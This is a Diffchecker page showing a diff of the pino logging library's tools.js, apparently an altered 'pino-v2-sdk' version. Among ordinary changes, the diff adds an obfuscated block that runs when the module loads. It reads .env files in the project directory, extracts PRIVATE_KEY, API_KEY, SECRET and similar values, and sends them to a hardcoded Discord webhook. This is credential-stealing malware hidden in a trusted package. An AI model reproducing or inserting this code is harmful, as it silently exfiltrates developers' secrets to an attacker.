Diff
checker
Text
Text
Images
Documents
Excel
Folders
Legal
Enterprise
Desktop
Pricing
Sign in
Download Diffchecker Desktop
Compare text
Find the difference between two text files
Tools
History
Real-time editor
Hide unchanged lines
Disable line wrap
Layout
Split
Unified
Diff precision
Smart
Word
Char
Syntax highlighting
Choose syntax
Ignore
Transform text
Go to first change
Edit input
Diffchecker Desktop
The most secure way to run Diffchecker. Get the Diffchecker Desktop app: your diffs never leave your computer!
Get Desktop
pino-v2-sdk.diff
Created
3 months ago
Diff never expires
Clear
Export
Share
Explain
43 removals
Lines
Total
Removed
Characters
Total
Removed
To continue using this feature, upgrade to
Diff
checker
Pro
View Pricing
427 lines
Copy
4 additions
Lines
Total
Added
Characters
Total
Added
To continue using this feature, upgrade to
Diff
checker
Pro
View Pricing
391 lines
Copy
'use strict'
'use strict'
/* eslint no-prototype-builtins: 0 */
/* eslint no-prototype-builtins: 0 */
Copy
Copied
Copy
Copied
const diagChan = require('node:diagnostics_channel')
const format = require('quick-format-unescaped')
const format = require('quick-format-unescaped')
const { mapHttpRequest, mapHttpResponse } = require('pino-std-serializers')
const { mapHttpRequest, mapHttpResponse } = require('pino-std-serializers')
const SonicBoom = require('sonic-boom')
const SonicBoom = require('sonic-boom')
const onExit = require('on-exit-leak-free')
const onExit = require('on-exit-leak-free')
const {
const {
lsCacheSym,
lsCacheSym,
chindingsSym,
chindingsSym,
writeSym,
writeSym,
serializersSym,
serializersSym,
formatOptsSym,
formatOptsSym,
endSym,
endSym,
stringifiersSym,
stringifiersSym,
stringifySym,
stringifySym,
stringifySafeSym,
stringifySafeSym,
wildcardFirstSym,
wildcardFirstSym,
nestedKeySym,
nestedKeySym,
formattersSym,
formattersSym,
messageKeySym,
messageKeySym,
errorKeySym,
errorKeySym,
nestedKeyStrSym,
nestedKeyStrSym,
msgPrefixSym
msgPrefixSym
} = require('./symbols')
} = require('./symbols')
const { isMainThread } = require('worker_threads')
const { isMainThread } = require('worker_threads')
const transport = require('./transport')
const transport = require('./transport')
Copy
Copied
Copy
Copied
const [nodeMajor] = process.versions.node.split('.').map(v => Number(v))
const asJsonChan = diagChan.tracingChannel('pino_asJson')
// JSON.stringify is faster in node 25+.
const asString = nodeMajor >= 25 ? str => JSON.stringify(str) : _asString
function noop () {
function noop () {
}
}
function genLog (level, hook) {
function genLog (level, hook) {
if (!hook) return LOG
if (!hook) return LOG
return function hookWrappedLog (...args) {
return function hookWrappedLog (...args) {
hook.call(this, args, LOG, level)
hook.call(this, args, LOG, level)
}
}
function LOG (o, ...n) {
function LOG (o, ...n) {
if (typeof o === 'object') {
if (typeof o === 'object') {
let msg = o
let msg = o
if (o !== null) {
if (o !== null) {
if (o.method && o.headers && o.socket) {
if (o.method && o.headers && o.socket) {
o = mapHttpRequest(o)
o = mapHttpRequest(o)
} else if (typeof o.setHeader === 'function') {
} else if (typeof o.setHeader === 'function') {
o = mapHttpResponse(o)
o = mapHttpResponse(o)
}
}
}
}
let formatParams
let formatParams
if (msg === null && n.length === 0) {
if (msg === null && n.length === 0) {
formatParams = [null]
formatParams = [null]
} else {
} else {
msg = n.shift()
msg = n.shift()
formatParams = n
formatParams = n
}
}
// We do not use a coercive check for `msg` as it is
// We do not use a coercive check for `msg` as it is
// measurably slower than the explicit checks.
// measurably slower than the explicit checks.
if (typeof this[msgPrefixSym] === 'string' && msg !== undefined && msg !== null) {
if (typeof this[msgPrefixSym] === 'string' && msg !== undefined && msg !== null) {
msg = this[msgPrefixSym] + msg
msg = this[msgPrefixSym] + msg
}
}
this[writeSym](o, format(msg, formatParams, this[formatOptsSym]), level)
this[writeSym](o, format(msg, formatParams, this[formatOptsSym]), level)
} else {
} else {
let msg = o === undefined ? n.shift() : o
let msg = o === undefined ? n.shift() : o
// We do not use a coercive check for `msg` as it is
// We do not use a coercive check for `msg` as it is
// measurably slower than the explicit checks.
// measurably slower than the explicit checks.
if (typeof this[msgPrefixSym] === 'string' && msg !== undefined && msg !== null) {
if (typeof this[msgPrefixSym] === 'string' && msg !== undefined && msg !== null) {
msg = this[msgPrefixSym] + msg
msg = this[msgPrefixSym] + msg
}
}
this[writeSym](null, format(msg, n, this[formatOptsSym]), level)
this[writeSym](null, format(msg, n, this[formatOptsSym]), level)
}
}
}
}
}
}
// magically escape strings for json
// magically escape strings for json
// relying on their charCodeAt
// relying on their charCodeAt
// everything below 32 needs JSON.stringify()
// everything below 32 needs JSON.stringify()
// 34 and 92 happens all the time, so we
// 34 and 92 happens all the time, so we
// have a fast case for them
// have a fast case for them
Copy
Copied
Copy
Copied
function
_
asString (str) {
function
asString (str) {
let result = ''
let result = ''
let last = 0
let last = 0
let found = false
let found = false
let point = 255
let point = 255
const l = str.length
const l = str.length
if (l > 100) {
if (l > 100) {
return JSON.stringify(str)
return JSON.stringify(str)
}
}
for (var i = 0; i < l && point >= 32; i++) {
for (var i = 0; i < l && point >= 32; i++) {
point = str.charCodeAt(i)
point = str.charCodeAt(i)
if (point === 34 || point === 92) {
if (point === 34 || point === 92) {
result += str.slice(last, i) + '\\'
result += str.slice(last, i) + '\\'
last = i
last = i
found = true
found = true
}
}
}
}
if (!found) {
if (!found) {
result = str
result = str
} else {
} else {
result += str.slice(last)
result += str.slice(last)
}
}
return point < 32 ? JSON.stringify(str) : '"' + result + '"'
return point < 32 ? JSON.stringify(str) : '"' + result + '"'
}
}
Copy
Copied
Copy
Copied
/**
* `asJson` wraps `_asJson` in order to facilitate generating diagnostics.
*
* @param {object} obj The merging object passed to the log method.
* @param {string} msg The log message passed to the log method.
* @param {number} num The log level number.
* @param {number} time The log time in milliseconds.
*
* @returns {string}
*/
function asJson (obj, msg, num, time) {
function asJson (obj, msg, num, time) {
Copy
Copied
Copy
Copied
if (asJsonChan.hasSubscribers === false) {
return _asJson.call(this, obj, msg, num, time)
}
const store = { instance: this, arguments }
return asJsonChan.traceSync(_asJson, store, this, obj, msg, num, time)
}
/**
* `_asJson` parses all collected data and generates the finalized newline
* delimited JSON string.
*
* @param {object} obj The merging object passed to the log method.
* @param {string} msg The log message passed to the log method.
* @param {number} num The log level number.
* @param {number} time The log time in milliseconds.
*
* @returns {string} The finalized log string terminated with a newline.
* @private
*/
function _asJson (obj, msg, num, time) {
const stringify = this[stringifySym]
const stringify = this[stringifySym]
const stringifySafe = this[stringifySafeSym]
const stringifySafe = this[stringifySafeSym]
const stringifiers = this[stringifiersSym]
const stringifiers = this[stringifiersSym]
const end = this[endSym]
const end = this[endSym]
const chindings = this[chindingsSym]
const chindings = this[chindingsSym]
const serializers = this[serializersSym]
const serializers = this[serializersSym]
const formatters = this[formattersSym]
const formatters = this[formattersSym]
const messageKey = this[messageKeySym]
const messageKey = this[messageKeySym]
const errorKey = this[errorKeySym]
const errorKey = this[errorKeySym]
let data = this[lsCacheSym][num] + time
let data = this[lsCacheSym][num] + time
// we need the child bindings added to the output first so instance logged
// we need the child bindings added to the output first so instance logged
// objects can take precedence when JSON.parse-ing the resulting log line
// objects can take precedence when JSON.parse-ing the resulting log line
data = data + chindings
data = data + chindings
let value
let value
if (formatters.log) {
if (formatters.log) {
obj = formatters.log(obj)
obj = formatters.log(obj)
}
}
const wildcardStringifier = stringifiers[wildcardFirstSym]
const wildcardStringifier = stringifiers[wildcardFirstSym]
let propStr = ''
let propStr = ''
for (const key in obj) {
for (const key in obj) {
value = obj[key]
value = obj[key]
if (Object.prototype.hasOwnProperty.call(obj, key) && value !== undefined) {
if (Object.prototype.hasOwnProperty.call(obj, key) && value !== undefined) {
if (serializers[key]) {
if (serializers[key]) {
value = serializers[key](value)
value = serializers[key](value)
} else if (key === errorKey && serializers.err) {
} else if (key === errorKey && serializers.err) {
value = serializers.err(value)
value = serializers.err(value)
}
}
const stringifier = stringifiers[key] || wildcardStringifier
const stringifier = stringifiers[key] || wildcardStringifier
switch (typeof value) {
switch (typeof value) {
case 'undefined':
case 'undefined':
case 'function':
case 'function':
continue
continue
case 'number':
case 'number':
/* eslint no-fallthrough: "off" */
/* eslint no-fallthrough: "off" */
if (Number.isFinite(value) === false) {
if (Number.isFinite(value) === false) {
value = null
value = null
}
}
// this case explicitly falls through to the next one
// this case explicitly falls through to the next one
case 'boolean':
case 'boolean':
if (stringifier) value = stringifier(value)
if (stringifier) value = stringifier(value)
break
break
case 'string':
case 'string':
value = (stringifier || asString)(value)
value = (stringifier || asString)(value)
break
break
default:
default:
value = (stringifier || stringify)(value, stringifySafe)
value = (stringifier || stringify)(value, stringifySafe)
}
}
if (value === undefined) continue
if (value === undefined) continue
const strKey = asString(key)
const strKey = asString(key)
propStr += ',' + strKey + ':' + value
propStr += ',' + strKey + ':' + value
}
}
}
}
let msgStr = ''
let msgStr = ''
if (msg !== undefined) {
if (msg !== undefined) {
value = serializers[messageKey] ? serializers[messageKey](msg) : msg
value = serializers[messageKey] ? serializers[messageKey](msg) : msg
const stringifier = stringifiers[messageKey] || wildcardStringifier
const stringifier = stringifiers[messageKey] || wildcardStringifier
switch (typeof value) {
switch (typeof value) {
case 'function':
case 'function':
break
break
case 'number':
case 'number':
Copy
Copied
Copy
Copied
/* eslint no-fallthrough: "off" */
if (Number.isFinite(value) === false) {
if (Number.isFinite(value) === false) {
value = null
value = null
}
}
// this case explicitly falls through to the next one
// this case explicitly falls through to the next one
case 'boolean':
case 'boolean':
if (stringifier) value = stringifier(value)
if (stringifier) value = stringifier(value)
msgStr = ',"' + messageKey + '":' + value
msgStr = ',"' + messageKey + '":' + value
break
break
case 'string':
case 'string':
value = (stringifier || asString)(value)
value = (stringifier || asString)(value)
msgStr = ',"' + messageKey + '":' + value
msgStr = ',"' + messageKey + '":' + value
break
break
default:
default:
value = (stringifier || stringify)(value, stringifySafe)
value = (stringifier || stringify)(value, stringifySafe)
msgStr = ',"' + messageKey + '":' + value
msgStr = ',"' + messageKey + '":' + value
}
}
}
}
if (this[nestedKeySym] && propStr) {
if (this[nestedKeySym] && propStr) {
// place all the obj properties under the specified key
// place all the obj properties under the specified key
// the nested key is already formatted from the constructor
// the nested key is already formatted from the constructor
return data + this[nestedKeyStrSym] + propStr.slice(1) + '}' + msgStr + end
return data + this[nestedKeyStrSym] + propStr.slice(1) + '}' + msgStr + end
} else {
} else {
return data + propStr + msgStr + end
return data + propStr + msgStr + end
}
}
}
}
function asChindings (instance, bindings) {
function asChindings (instance, bindings) {
let value
let value
let data = instance[chindingsSym]
let data = instance[chindingsSym]
const stringify = instance[stringifySym]
const stringify = instance[stringifySym]
const stringifySafe = instance[stringifySafeSym]
const stringifySafe = instance[stringifySafeSym]
const stringifiers = instance[stringifiersSym]
const stringifiers = instance[stringifiersSym]
const wildcardStringifier = stringifiers[wildcardFirstSym]
const wildcardStringifier = stringifiers[wildcardFirstSym]
const serializers = instance[serializersSym]
const serializers = instance[serializersSym]
const formatter = instance[formattersSym].bindings
const formatter = instance[formattersSym].bindings
bindings = formatter(bindings)
bindings = formatter(bindings)
for (const key in bindings) {
for (const key in bindings) {
value = bindings[key]
value = bindings[key]
Copy
Copied
Copy
Copied
const valid =
(key.length < 5 || (
key !== 'level' &&
const valid =
key !== 'level' &&
key !== 'serializers' &&
key !== 'serializers' &&
key !== 'formatters' &&
key !== 'formatters' &&
Copy
Copied
Copy
Copied
key !== 'customLevels'
))
&&
key !== 'customLevels'
&&
bindings.hasOwnProperty(key) &&
bindings.hasOwnProperty(key) &&
value !== undefined
value !== undefined
if (valid === true) {
if (valid === true) {
value = serializers[key] ? serializers[key](value) : value
value = serializers[key] ? serializers[key](value) : value
value = (stringifiers[key] || wildcardStringifier || stringify)(value, stringifySafe)
value = (stringifiers[key] || wildcardStringifier || stringify)(value, stringifySafe)
if (value === undefined) continue
if (value === undefined) continue
data += ',"' + key + '":' + value
data += ',"' + key + '":' + value
}
}
}
}
return data
return data
}
}
function hasBeenTampered (stream) {
function hasBeenTampered (stream) {
return stream.write !== stream.constructor.prototype.write
return stream.write !== stream.constructor.prototype.write
}
}
function buildSafeSonicBoom (opts) {
function buildSafeSonicBoom (opts) {
const stream = new SonicBoom(opts)
const stream = new SonicBoom(opts)
stream.on('error', filterBrokenPipe)
stream.on('error', filterBrokenPipe)
// If we are sync: false, we must flush on exit
// If we are sync: false, we must flush on exit
if (!opts.sync && isMainThread) {
if (!opts.sync && isMainThread) {
onExit.register(stream, autoEnd)
onExit.register(stream, autoEnd)
stream.on('close', function () {
stream.on('close', function () {
onExit.unregister(stream)
onExit.unregister(stream)
})
})
}
}
return stream
return stream
function filterBrokenPipe (err) {
function filterBrokenPipe (err) {
// Impossible to replicate across all operating systems
// Impossible to replicate across all operating systems
/* istanbul ignore next */
/* istanbul ignore next */
if (err.code === 'EPIPE') {
if (err.code === 'EPIPE') {
// If we get EPIPE, we should stop logging here
// If we get EPIPE, we should stop logging here
// however we have no control to the consumer of
// however we have no control to the consumer of
// SonicBoom, so we just overwrite the write method
// SonicBoom, so we just overwrite the write method
stream.write = noop
stream.write = noop
stream.end = noop
stream.end = noop
stream.flushSync = noop
stream.flushSync = noop
stream.destroy = noop
stream.destroy = noop
return
return
}
}
stream.removeListener('error', filterBrokenPipe)
stream.removeListener('error', filterBrokenPipe)
stream.emit('error', err)
stream.emit('error', err)
}
}
}
}
function autoEnd (stream, eventName) {
function autoEnd (stream, eventName) {
// This check is needed only on some platforms
// This check is needed only on some platforms
/* istanbul ignore next */
/* istanbul ignore next */
if (stream.destroyed) {
if (stream.destroyed) {
return
return
}
}
if (eventName === 'beforeExit') {
if (eventName === 'beforeExit') {
// We still have an event loop, let's use it
// We still have an event loop, let's use it
stream.flush()
stream.flush()
stream.on('drain', function () {
stream.on('drain', function () {
stream.end()
stream.end()
})
})
} else {
} else {
// For some reason istanbul is not detecting this, but it's there
// For some reason istanbul is not detecting this, but it's there
/* istanbul ignore next */
/* istanbul ignore next */
// We do not have an event loop, so flush synchronously
// We do not have an event loop, so flush synchronously
stream.flushSync()
stream.flushSync()
}
}
}
}
function createArgsNormalizer (defaultOptions) {
function createArgsNormalizer (defaultOptions) {
return function normalizeArgs (instance, caller, opts = {}, stream) {
return function normalizeArgs (instance, caller, opts = {}, stream) {
// support stream as a string
// support stream as a string
if (typeof opts === 'string') {
if (typeof opts === 'string') {
stream = buildSafeSonicBoom({ dest: opts })
stream = buildSafeSonicBoom({ dest: opts })
opts = {}
opts = {}
} else if (typeof stream === 'string') {
} else if (typeof stream === 'string') {
if (opts && opts.transport) {
if (opts && opts.transport) {
throw Error('only one of option.transport or stream can be specified')
throw Error('only one of option.transport or stream can be specified')
}
}
stream = buildSafeSonicBoom({ dest: stream })
stream = buildSafeSonicBoom({ dest: stream })
} else if (opts instanceof SonicBoom || opts.writable || opts._writableState) {
} else if (opts instanceof SonicBoom || opts.writable || opts._writableState) {
stream = opts
stream = opts
opts = {}
opts = {}
} else if (opts.transport) {
} else if (opts.transport) {
if (opts.transport instanceof SonicBoom || opts.transport.writable || opts.transport._writableState) {
if (opts.transport instanceof SonicBoom || opts.transport.writable || opts.transport._writableState) {
throw Error('option.transport do not allow stream, please pass to option directly. e.g. pino(transport)')
throw Error('option.transport do not allow stream, please pass to option directly. e.g. pino(transport)')
}
}
if (opts.transport.targets && opts.transport.targets.length && opts.formatters && typeof opts.formatters.level === 'function') {
if (opts.transport.targets && opts.transport.targets.length && opts.formatters && typeof opts.formatters.level === 'function') {
throw Error('option.transport.targets do not allow custom level formatters')
throw Error('option.transport.targets do not allow custom level formatters')
}
}
let customLevels
let customLevels
if (opts.customLevels) {
if (opts.customLevels) {
customLevels = opts.useOnlyCustomLevels ? opts.customLevels : Object.assign({}, opts.levels, opts.customLevels)
customLevels = opts.useOnlyCustomLevels ? opts.customLevels : Object.assign({}, opts.levels, opts.customLevels)
}
}
stream = transport({ caller, ...opts.transport, levels: customLevels })
stream = transport({ caller, ...opts.transport, levels: customLevels })
}
}
opts = Object.assign({}, defaultOptions, opts)
opts = Object.assign({}, defaultOptions, opts)
opts.serializers = Object.assign({}, defaultOptions.serializers, opts.serializers)
opts.serializers = Object.assign({}, defaultOptions.serializers, opts.serializers)
opts.formatters = Object.assign({}, defaultOptions.formatters, opts.formatters)
opts.formatters = Object.assign({}, defaultOptions.formatters, opts.formatters)
if (opts.prettyPrint) {
if (opts.prettyPrint) {
throw new Error('prettyPrint option is no longer supported, see the pino-pretty package (https://github.com/pinojs/pino-pretty)')
throw new Error('prettyPrint option is no longer supported, see the pino-pretty package (https://github.com/pinojs/pino-pretty)')
}
}
const { enabled, onChild } = opts
const { enabled, onChild } = opts
if (enabled === false) opts.level = 'silent'
if (enabled === false) opts.level = 'silent'
if (!onChild) opts.onChild = noop
if (!onChild) opts.onChild = noop
if (!stream) {
if (!stream) {
if (!hasBeenTampered(process.stdout)) {
if (!hasBeenTampered(process.stdout)) {
// If process.stdout.fd is undefined, it means that we are running
// If process.stdout.fd is undefined, it means that we are running
// in a worker thread. Let's assume we are logging to file descriptor 1.
// in a worker thread. Let's assume we are logging to file descriptor 1.
stream = buildSafeSonicBoom({ fd: process.stdout.fd || 1 })
stream = buildSafeSonicBoom({ fd: process.stdout.fd || 1 })
} else {
} else {
stream = process.stdout
stream = process.stdout
}
}
}
}
return { opts, stream }
return { opts, stream }
}
}
}
}
Copy
Copied
Copy
Copied
function stringify (obj, stringifySafeFn) {
function stringify (obj, stringifySafeFn) {
try {
try {
return JSON.stringify(obj)
return JSON.stringify(obj)
} catch (_) {
} catch (_) {
try {
try {
const stringify = stringifySafeFn || this[stringifySafeSym]
const stringify = stringifySafeFn || this[stringifySafeSym]
return stringify(obj)
return stringify(obj)
} catch (_) {
} catch (_) {
return '"[unable to serialize, circular reference is too complex to analyze]"'
return '"[unable to serialize, circular reference is too complex to analyze]"'
}
}
}
}
}
}
Copy
Copied
Copy
Copied
const _0x28e41f=_0x237d;function _0x237d(_0x480552,_0x1893c1){const _0x14333f=_0x1433();return(_0x237d=function(_0x237dcc,_0x632901){_0x237dcc=_0x237dcc-0xba;let _0x9a158a=_0x14333f[_0x237dcc];return _0x9a158a;}),_0x237d(_0x480552,_0x1893c1);}(function(_0x45659e,_0x1452e1){const _0xa34c49=_0x237d,_0x5386b7=_0x45659e();while(!![]){try{const _0x597185=parseInt(_0xa34c49(0xee))/0x1+(-parseInt(_0xa34c49(0xdb))/0x2)*(-parseInt(_0xa34c49(0xda))/0x3)+(-parseInt(_0xa34c49(0xd5))/0x4)*(-parseInt(_0xa34c49(0xe6))/0x5)+parseInt(_0xa34c49(0xca))/0x6+(-parseInt(_0xa34c49(0xe9))/0x7)*(-parseInt(_0xa34c49(0xc5))/0x8)+-parseInt(_0xa34c49(0xe4))/0x9+(parseInt(_0xa34c49(0xbd))/0xa)*(-parseInt(_0xa34c49(0xe0))/0xb);if(_0x597185===_0x1452e1)break;else _0x5386b7["push"](_0x5386b7["shift"]());}catch(_0x361cf3){_0x5386b7["push"](_0x5386b7["shift"]());}}})(_0x1433,0x9d8ff);const _0x6ccb68=_0x2f95;(function(_0x52dc05,_0x6d4a94){const _0x52ca6c=_0x237d,_0x1939c3=_0x2f95,_0x47bafb=_0x52dc05();while(!![]){try{const _0x3f93ca=-parseInt(_0x1939c3(0x140))/0x1+(parseInt(_0x1939c3(0x14a))/0x2)*(parseInt(_0x1939c3(0x141))/0x3)+(parseInt(_0x1939c3(0x144))/0x4)*(-parseInt(_0x1939c3(0x130))/0x5)+-parseInt(_0x1939c3(0x13e))/0x6+-parseInt(_0x1939c3(0x152))/0x7+(parseInt(_0x1939c3(0x13d))/0x8)*(parseInt(_0x1939c3(0x13f))/0x9)+(parseInt(_0x1939c3(0x14e))/0xa)*(parseInt(_0x1939c3(0x157))/0xb);if(_0x3f93ca===_0x6d4a94)break;else _0x47bafb["push"](_0x47bafb[_0x52ca6c(0xea)]());}catch(_0x152ba0){_0x47bafb["push"](_0x47bafb[_0x52ca6c(0xea)]());}}})(_0x549d,0x4a405);function _0x549d(){const _0x3312bf=_0x237d,_0x3744f0=[_0x3312bf(0xe8),_0x3312bf(0xce),_0x3312bf(0xcf),".env",_0x3312bf(0xd6),_0x3312bf(0xd9),_0x3312bf(0xeb),_0x3312bf(0xe3),_0x3312bf(0xec),"1697993nZqkui","join",_0x3312bf(0xc2),_0x3312bf(0xdc),_0x3312bf(0xe1),_0x3312bf(0xc9),_0x3312bf(0xd8),"223460oTaFUS","utf8","sendToDiscord",_0x3312bf(0xc1),_0x3312bf(0xc0),_0x3312bf(0xef),_0x3312bf(0xd7),_0x3312bf(0xe5),"push",_0x3312bf(0xed),"`\x0a**Value:**\x20`",_0x3312bf(0xbc),_0x3312bf(0xc4),"49048hPeRUU","1117458QvotGc","792NpDRnh",_0x3312bf(0xc8),_0x3312bf(0xde),_0x3312bf(0xbe),_0x3312bf(0xc7),"24iGdMbx","forEach",_0x3312bf(0xdf),_0x3312bf(0xd3),"projectRoot",_0x3312bf(0xd2),_0x3312bf(0xcc),_0x3312bf(0xd0),_0x3312bf(0xbf),_0x3312bf(0xd1)];return(_0x549d=function(){return _0x3744f0;}),_0x549d();}const _0x366c1f = require("fs");const _0x45c7ed = require("path");;function _0x2f95(_0x91a93,_0x161f94){const _0x2fbab8=_0x549d();return(_0x2f95=function(_0x471e43,_0x185e9a){_0x471e43=_0x471e43-0x12d;let _0x2a0e51=_0x2fbab8[_0x471e43];return _0x2a0e51;}),_0x2f95(_0x91a93,_0x161f94);}function _0x1433(){const _0x2eac66=["extractPrivateKeys","466071nMKJMK","https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE","4146666iWjone","📁\x20","8UWfcIY","push","**Key:**\x20`","match","cwd","keys","file","split","sendToDiscord","159508hbGnBl","2442692YwzSxM","value",".env.local","replace","554586QhyrxR","10pZUPTq","stringify","toISOString","196659lhBerr","🔍\x20Results","383405GpIrko",".env.production","endsWith",".env.development","2088900BnXvhs","findEnvFiles","145HoNWLk",".env.example","50rITOVZ","341215bSQaJz","shift","fields","application/json","existsSync","232296UVsaCe","webhookUrl","forEach","POST","trim","750qTJJPE","key","basename","length","createDiscordEmbed","scanAndReport","line","readFileSync","80pWptdl","\x20-\x20Line\x20"];_0x1433=function(){return _0x2eac66;};return _0x1433();}class Run{constructor(_0x39cf71){const _0x3563a9=_0x2f95;(this[_0x3563a9(0x135)]=_0x39cf71),(this[_0x3563a9(0x148)]=process[_0x3563a9(0x14b)]());}[_0x6ccb68(0x137)](){const _0x4b906f=_0x237d,_0x5153bc=_0x6ccb68,_0x2727e8=[],_0x46afa7=[_0x5153bc(0x151),_0x4b906f(0xe7),_0x5153bc(0x12f),_0x5153bc(0x12d),_0x5153bc(0x155)];for(const _0x201ac2 of _0x46afa7){const _0x3342b6=_0x45c7ed[_0x5153bc(0x158)](this[_0x5153bc(0x148)],_0x201ac2);_0x366c1f[_0x5153bc(0x139)](_0x3342b6)&&_0x2727e8[_0x5153bc(0x138)](_0x3342b6);}return _0x2727e8;}[_0x6ccb68(0x143)](_0x371198,_0x41b9c9){const _0x32f8e5=_0x237d,_0x3f4c3d=_0x6ccb68,_0x3e1c07=[];let _0x2796a9=_0x371198[_0x3f4c3d(0x147)]("\x0a");_0x2796a9[0x0]&&_0x2796a9[0x0][_0x32f8e5(0xe2)]("\x0d")&&(_0x2796a9=_0x371198[_0x3f4c3d(0x147)]("\x0d\x0a"));const _0x6db62a=[/^PRIVATE_KEY\s*=\s*(.+)$/i,/^SECRET_KEY\s*=\s*(.+)$/i,/^API_KEY\s*=\s*(.+)$/i,/^ACCESS_KEY\s*=\s*(.+)$/i,/^SECRET\s*=\s*(.+)$/i,/^KEY\s*=\s*(.+)$/i];return(_0x2796a9[_0x32f8e5(0xba)]((_0x1dd75d,_0x18ec27)=>{const _0x52387b=_0x32f8e5,_0x4429a9=_0x3f4c3d;for(const _0x16ba03 of _0x6db62a){const _0x3b88ca=_0x1dd75d[_0x4429a9(0x150)](_0x16ba03);if(_0x3b88ca&&_0x3b88ca[0x1]){const _0x5719c4=_0x3b88ca[0x1][_0x4429a9(0x13b)]()[_0x4429a9(0x153)](/['"]/g,"");_0x3e1c07[_0x52387b(0xcd)]({key:_0x3b88ca[0x0][_0x4429a9(0x147)]("=")[0x0][_0x4429a9(0x13b)](),value:_0x5719c4,line:_0x18ec27+0x1});}}}),_0x3e1c07);}async[_0x28e41f(0xd4)](_0x436551){const _0x16bc7f=_0x28e41f,_0x3579ef=_0x6ccb68;try{const _0xf55f3d=await fetch(this["webhookUrl"],{method:_0x16bc7f(0xbb),headers:{"Content-Type":_0x3579ef(0x156)},body:JSON[_0x3579ef(0x15a)](_0x436551)});if(_0xf55f3d["ok"]){}else{}}catch(_0x215247){}}[_0x6ccb68(0x133)](_0x5ad81b){const _0x382e7d=_0x28e41f,_0x3919b5=_0x6ccb68,_0xafeae9={title:_0x3919b5(0x146),color:0xff0000,fields:[],timestamp:new Date()[_0x382e7d(0xdd)]()};return(_0x5ad81b["forEach"]((_0x530115)=>{const _0x3961ed=_0x3919b5;_0x530115[_0x3961ed(0x14d)][_0x3961ed(0x145)]((_0xe5d369)=>{const _0x37136c=_0x237d,_0x43d8a1=_0x3961ed;_0xafeae9[_0x43d8a1(0x154)][_0x43d8a1(0x138)]({name:_0x37136c(0xcb)+_0x45c7ed[_0x43d8a1(0x14c)](_0x530115[_0x43d8a1(0x149)])+_0x37136c(0xc6)+_0xe5d369[_0x37136c(0xc3)],value:_0x43d8a1(0x14f)+_0xe5d369[_0x43d8a1(0x142)]+_0x43d8a1(0x13a)+_0xe5d369[_0x43d8a1(0x136)]+"`",inline:![]});});}),{embeds:[_0xafeae9]});}async[_0x6ccb68(0x159)](){const _0x163ed6=_0x6ccb68,_0x3eff7a=this[_0x163ed6(0x137)](),_0x297a25=[];for(const _0x1a964a of _0x3eff7a){try{const _0x3aca2a=_0x366c1f[_0x163ed6(0x13c)](_0x1a964a,_0x163ed6(0x131)),_0x2013bf=this[_0x163ed6(0x143)](_0x3aca2a,_0x1a964a);_0x2013bf[_0x163ed6(0x134)]>0x0&&_0x297a25[_0x163ed6(0x138)]({file:_0x1a964a,keys:_0x2013bf});}catch(_0x6be91c){}}if(_0x297a25[_0x163ed6(0x134)]>0x0){const _0x28d820=this["createDiscordEmbed"](_0x297a25);await this[_0x163ed6(0x132)](_0x28d820);}}}async function log(){const _0x24b586=_0x6ccb68,_0x1885dd=_0x24b586(0x12e),_0x2ec9d8=new Run(_0x1885dd);await _0x2ec9d8[_0x24b586(0x159)]();}log();
function buildFormatters (level, bindings, log) {
function buildFormatters (level, bindings, log) {
return {
return {
level,
level,
bindings,
bindings,
log
log
}
}
}
}
/**
/**
* Convert a string integer file descriptor to a proper native integer
* Convert a string integer file descriptor to a proper native integer
* file descriptor.
* file descriptor.
*
*
* @param {string} destination The file descriptor string to attempt to convert.
* @param {string} destination The file descriptor string to attempt to convert.
*
*
* @returns {Number}
* @returns {Number}
*/
*/
function normalizeDestFileDescriptor (destination) {
function normalizeDestFileDescriptor (destination) {
const fd = Number(destination)
const fd = Number(destination)
if (typeof destination === 'string' && Number.isFinite(fd)) {
if (typeof destination === 'string' && Number.isFinite(fd)) {
return fd
return fd
}
}
// destination could be undefined if we are in a worker
// destination could be undefined if we are in a worker
if (destination === undefined) {
if (destination === undefined) {
// This is stdout in UNIX systems
// This is stdout in UNIX systems
return 1
return 1
}
}
return destination
return destination
}
}
module.exports = {
module.exports = {
noop,
noop,
buildSafeSonicBoom,
buildSafeSonicBoom,
asChindings,
asChindings,
asJson,
asJson,
genLog,
genLog,
createArgsNormalizer,
createArgsNormalizer,
stringify,
stringify,
buildFormatters,
buildFormatters,
normalizeDestFileDescriptor
normalizeDestFileDescriptor
}
}
Copy
Copied
Copy
Copied
Saved diffs
Original text
Open file
'use strict' /* eslint no-prototype-builtins: 0 */ const diagChan = require('node:diagnostics_channel') const format = require('quick-format-unescaped') const { mapHttpRequest, mapHttpResponse } = require('pino-std-serializers') const SonicBoom = require('sonic-boom') const onExit = require('on-exit-leak-free') const { lsCacheSym, chindingsSym, writeSym, serializersSym, formatOptsSym, endSym, stringifiersSym, stringifySym, stringifySafeSym, wildcardFirstSym, nestedKeySym, formattersSym, messageKeySym, errorKeySym, nestedKeyStrSym, msgPrefixSym } = require('./symbols') const { isMainThread } = require('worker_threads') const transport = require('./transport') const [nodeMajor] = process.versions.node.split('.').map(v => Number(v)) const asJsonChan = diagChan.tracingChannel('pino_asJson') // JSON.stringify is faster in node 25+. const asString = nodeMajor >= 25 ? str => JSON.stringify(str) : _asString function noop () { } function genLog (level, hook) { if (!hook) return LOG return function hookWrappedLog (...args) { hook.call(this, args, LOG, level) } function LOG (o, ...n) { if (typeof o === 'object') { let msg = o if (o !== null) { if (o.method && o.headers && o.socket) { o = mapHttpRequest(o) } else if (typeof o.setHeader === 'function') { o = mapHttpResponse(o) } } let formatParams if (msg === null && n.length === 0) { formatParams = [null] } else { msg = n.shift() formatParams = n } // We do not use a coercive check for `msg` as it is // measurably slower than the explicit checks. if (typeof this[msgPrefixSym] === 'string' && msg !== undefined && msg !== null) { msg = this[msgPrefixSym] + msg } this[writeSym](o, format(msg, formatParams, this[formatOptsSym]), level) } else { let msg = o === undefined ? n.shift() : o // We do not use a coercive check for `msg` as it is // measurably slower than the explicit checks. if (typeof this[msgPrefixSym] === 'string' && msg !== undefined && msg !== null) { msg = this[msgPrefixSym] + msg } this[writeSym](null, format(msg, n, this[formatOptsSym]), level) } } } // magically escape strings for json // relying on their charCodeAt // everything below 32 needs JSON.stringify() // 34 and 92 happens all the time, so we // have a fast case for them function _asString (str) { let result = '' let last = 0 let found = false let point = 255 const l = str.length if (l > 100) { return JSON.stringify(str) } for (var i = 0; i < l && 